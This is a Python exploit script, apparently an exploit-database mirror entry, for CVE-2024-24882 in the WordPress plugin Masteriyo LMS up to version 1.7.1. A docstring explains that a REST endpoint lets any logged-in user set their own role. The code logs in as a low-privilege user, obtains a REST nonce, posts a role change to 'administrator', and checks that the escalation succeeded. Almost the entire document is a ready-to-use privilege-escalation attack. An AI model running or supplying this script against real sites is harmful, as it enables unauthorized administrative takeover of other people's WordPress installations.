Share
## https://sploitus.com/exploit?id=PACKETSTORM:226395
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Masteriyo LMS (learning-management-system) <= 1.7.1 - Authenticated (Student+) Privilege Escalation to Administrator
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/learning-management-system/
# Software Link: https://downloads.wordpress.org/plugin/learning-management-system.1.7.1.zip
# Version: 1.7.1 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-24882
"""
Masteriyo LMS <= 1.7.1 REST route /wp-json/masteriyo/v1/users/me (update_logged_in_user ->
update_item) has permission_callback = is_user_logged_in() with NO capability check, and
$user->set_roles($request['role']) accepts any WP role including administrator
(UsersController.php:1119). Any authenticated low-privilege user (Masteriyo self-registration
gives a 'student'/subscriber account) can PUT/POST {"role":"administrator"} to become admin.
Prior state: any logged-in low-priv account (here lp_subscriber). wp_rest nonce is obtained from
/wp-admin/admin-ajax.php?action=rest-nonce (works for any role).
"""
import argparse, sys, re
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--user", default="lp_subscriber")
ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
a = ap.parse_args(); base = a.target.rstrip("/")
s = requests.Session(); s.verify = False
s.get(base + "/wp-login.php"); s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
s.post(base + "/wp-login.php", data={"log": a.user, "pwd": a.pw, "wp-submit": "Log In",
"redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
n = s.get(base + "/wp-admin/admin-ajax.php?action=rest-nonce").text.strip()
before = s.get(base + "/wp-json/masteriyo/v1/users/me", headers={"X-WP-Nonce": n}).json().get("roles")
print(f"[*] {a.user} roles BEFORE: {before}")
r = s.post(base + "/wp-json/masteriyo/v1/users/me",
headers={"X-WP-Nonce": n, "Content-Type": "application/json"},
json={"role": "administrator"}, timeout=20)
after = s.get(base + "/wp-json/masteriyo/v1/users/me", headers={"X-WP-Nonce": n}).json().get("roles")
print(f"[*] escalation POST -> HTTP {r.status_code} | roles AFTER: {after}")
if after and "administrator" in after:
print(f"\n[+] PRIVILEGE ESCALATION CONFIRMED โ {a.user} is now administrator.")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())